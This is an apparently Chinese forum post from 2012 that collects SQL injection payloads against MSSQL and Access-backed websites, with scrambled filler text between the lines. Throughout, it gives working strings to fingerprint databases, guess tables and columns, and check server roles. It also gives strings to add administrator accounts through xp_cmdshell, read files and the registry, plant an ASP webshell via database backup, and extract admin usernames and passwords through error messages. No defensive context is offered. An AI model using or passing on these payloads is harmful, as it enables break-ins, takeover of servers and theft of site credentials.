找回密码
 立即注册
查看: 2473|回复: 0
打印 上一主题 下一主题

SQL注入常用语句

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:31:51 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
1.判断是否有注入
" F( }3 T- ~; s* u% i# U' O;and 1=1
: j2 i' ?- X2 x6 s+ {: }' U;and 1=2 4 Y. M- Y1 N  H, @
1 I+ Y! p$ Q) B1 B/ p0 t' P; E
2.初步判断是否是mssql
% a2 d/ [$ W% y& N+ l;and user>0 : e& `: n" w3 V' n% B+ o
; h$ l3 r5 o: N) D' h
3.判断数据库系统
% Y- g6 t% Y+ c" `& \0 d- @* m;and (select count(*) from sysobjects)>0 mssql
  X' A+ b. l7 @! A1 W5 i;and (select count(*) from msysobjects)>0 access
2 v0 g- o& ?2 y: Q, j; i
( H* \$ @9 O$ x& e4.注入参数是字符 6 o! i# o& I9 r4 l& v/ W" z1 V
'and [查询条件] and ''='
9 g( t5 I& W; u0 F% ~2 F! r1 ?# }6 }4 i6 ^
5.搜索时没过滤参数的
- m) @$ v. R  t% |; z'and [查询条件] and '%25'='
1 s' _" v3 U, f; F) u+ F' H
' N, @. x$ [8 U6 I5 X7 d6.猜数表名
8 {4 ~; a) _5 Y* [3 P;and (select Count(*) from [表名])>0
$ F$ i2 m0 i! n* x1 `8 M5 C& N) S! s( v' T
7.猜字段
: c  t% f- j% w5 M5 L;and (select Count(字段名) from 表名)>0   T- V2 u& W8 Z+ V: {

$ o4 N+ c" ]; ~; m  v7 P8.猜字段中记录长度 , h) ^4 ~# A/ A
;and (select top 1 len(字段名) from 表名)>0
* L" P: ~' A1 ^+ X( D+ w$ f5 ?" J( k" A, J
9.(1)猜字段的ascii值(access)
: }4 I5 ~0 {" t7 J( k;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 4 ]! V2 ]. _$ e2 ?0 i

/ N" M% _( g: p5 C' W2 h# t(2)猜字段的ascii值(mssql)
2 |) g6 x% n8 V8 s1 e/ z;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
5 Y) j$ K1 l$ H- ~( J1 h+ c: q; `; \3 `* z0 T' I, d2 U& Z; F
10.测试权限结构(mssql) 9 G; c, I) _' c; G
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 6 A4 K: ?2 Y8 z$ w
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ( A- w( i$ z! }( o) l3 I
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 7 W8 S' n8 ]" T( x, _' `" U
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
) i  C6 H5 S4 v9 ^; O3 k;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
, X6 B- T9 M- X; G;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
# @6 x1 Q3 j- K: O/ f;and 1=(select IS_MEMBER('db_owner'));--
8 h% C; M: S: g$ X7 {+ a4 M& |8 H$ b2 P
11.添加mssql和系统的帐户 0 X; k) @$ f; M+ j
;exec master.dbo.sp_addlogin username;-- # r1 H4 U  V+ n, J
;exec master.dbo.sp_password null,username,password;--
! l$ |3 o4 N+ y: }5 A& l' l;exec master.dbo.sp_addsrvrolemember sysadmin username;-- " O% h6 S! b0 `6 c8 {) Y
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- ! ^$ G5 q$ U& x/ G5 T
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 8 ~# y: V; k# V. v' c
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- / s9 {4 h5 Q, U

2 `6 Q( |; |3 A9 I12.(1)遍历目录 3 a& `: L+ N1 b8 h. T
;create table dirs(paths varchar(100), id int)
; E- _5 h3 X) s2 {;insert dirs exec master.dbo.xp_dirtree 'c:\'
- E3 B( d3 t9 J, N5 ];and (select top 1 paths from dirs)>0 # a- p& ^  x& i7 g3 c. l+ E% `
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
3 O2 R. q' z4 `# B& A
, F. }8 h  R9 D7 n( }7 S5 ?( T(2)遍历目录 4 m  ?; X/ b4 }. j8 M
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ! `# u2 X& \: \& {  e+ o. i7 E
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
3 O' K% |+ _+ v  L& i2 p% z' Y0 j;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
' s( F( v3 \% Q$ D- M;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
1 {' e7 {/ r/ N0 P( o. I! {( B;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 3 q. X6 S' Y/ V; T! i" [7 |8 }$ ^% h; w

: i  b$ u+ J0 [0 T13.mssql中的存储过程
0 F6 P8 V! N1 v& c% [xp_regenumvalues 注册表根键, 子键
( l+ U- H0 W4 y/ f;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
! F* i% Y) G8 j; \" ^xp_regread 根键,子键,键值名 8 C) {# O0 m5 f, D- x/ R/ E  Y
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 - d9 [1 f4 Y: B0 P' j
xp_regwrite 根键,子键, 值名, 值类型, 值 4 T& |3 _" l' I3 M2 S
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 6 O/ U  [- R' C5 O' g
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
: r$ ^) |# Z, o, Ixp_regdeletevalue 根键,子键,值名   |' j2 V6 {" Z' a% }
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
7 H( H. I0 {/ H1 ^! T9 R( b6 Pxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 5 [+ s; f% m/ Y/ `$ w- z

' ^) V* }, n$ Q1 K14.mssql的backup创建webshell 1 @7 p+ I% G7 D# i8 i# M7 v5 E
use model 6 [& f8 d- R' W9 h
create table cmd(str image);
" G! F) |- j9 Jinsert into cmd(str) values ('<% Dim oScript %>');
: i8 ^3 Q8 I+ W2 P5 sbackup database model to disk='c:\l.asp';
2 f. [* w# y! U- L+ R% D1 A1 a- v+ g3 a# ~% p# @4 w
15.mssql内置函数 " x0 L" ~8 L$ u  V
;and (select @@version)>0 获得Windows的版本号
. p, }+ Y1 G+ {;and user_name()='dbo' 判断当前系统的连接用户是不是sa + a  H: I3 Z- H$ y/ }7 c6 J* q2 T! w9 A
;and (select user_name())>0 爆当前系统的连接用户 ) S; c/ u# y% f' L+ Q$ h, C! n3 h- D
;and (select db_name())>0 得到当前连接的数据库 9 |: z& J( L% j2 c4 W, a9 y
6 ^& U5 O6 s+ x' O9 Q+ c1 Z5 V

1 N2 E+ v6 Q+ [4 F& _' U6 c" O
6 C9 ?/ ]# X( A$ X$ F" n3 UMSSQL手注暴库
) o' i7 o9 j0 S" L9 W: s0 a. a0 B& k  h3 {2 A9 R" R' x
1.暴出当前表名和列名
" @) q4 B& B' v7 q5 c/ {在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。/ e7 v- ?4 u. K& J8 c9 E4 ]
# f& M4 h" n6 b+ q
第一.爆出所有数据库名# v# u) h% z2 d# n
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
/ ~/ [+ S9 s. g9 b# a! D第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
% r) p% \, e4 V: b' B5 f. O
$ t+ O' t$ X$ B& k; Dand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名$ Y2 y1 `& X' M4 U
, z% I7 ~0 X  c" D$ j$ e
4 E! \: {1 q5 e# i
第二.爆出指定库中的所有表名
1 W: s+ V2 X  n) p( i得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。' v+ |  R- T: Q9 Q- h! x  g
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。) Y5 m4 l$ {2 j/ W. v! x1 c

( ]% @5 B* G4 E" e5 j6 {and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--# N( k1 X% C6 Y5 f* O- r1 H0 ?% m7 _
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--8 O# x% n2 Q2 m' m1 O9 j9 G! ^( q# G
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--( k/ T6 F) m5 y8 j( g9 U4 t
6 k% s( {6 ^& ~
4.爆出指定表中的所有列名
# q7 u9 a# U+ g6 uand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
3 U2 K& U6 U: Y# @; _' B" |9 p6 O( u//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'
& S6 E/ @6 N% {
8 j, o6 M% Y6 b9 C$ c; o/ zand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名* L# i! y# E; ?' g: ~( g& D
2 u8 F4 H/ }3 x! v
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
5 K* i" T- {0 t依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
2 }& O" f! u: R9 D# [; ?$ R7 t& ~& V

/ z' U; Q2 r: a9 A# Uand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值' @  O% j* d* `. B7 ?( U: ^
4 c+ @" Z  C; H4 L. d! c4 Y. m
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
7 R8 g0 r# L  s4 Z% K( G7 Q" c* |& E5 _, R1 C& T( A
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
7 u* J6 Y3 ?( O9 {3 Y6 E( R4 P5 e8 A& I. X' V' q% z8 F$ t# Q2 a

+ U& t6 k3 Z( C+ e& ]$ S5 G9 u6 T
5.读取指定表中的数据
4 }( i. a( M- u6 C5 C7 {/ a; a: i1 d& m1 }- i+ z# v: p/ U
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 7 x. Q* [. e$ L# K* c4 }$ d3 u/ n  E

6 u8 ~& @9 |! [1 G# @and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--3 p6 p' K7 _# {; _+ E

# a* G- V; C+ I" `and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
: Y, z6 [: J1 q* w! v0 S4 @% F0 P. K' \3 f. [+ @4 F  H

3 G! u0 v7 I, E$ mand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)
5 \! x% B- q! Q! K+ c& X
3 a6 ^9 B8 u/ Z: Fand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)) h! ?/ \$ U! Z& Y/ z/ W7 B
# x9 {$ v" S# O( D' Z; S  k
and 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
7 x! M1 _" V1 p; }& l
9 P- u3 d7 v* [$ ?; D/ `# J) C知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
4 Q8 w, ]/ M' O' D" ^1 t
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表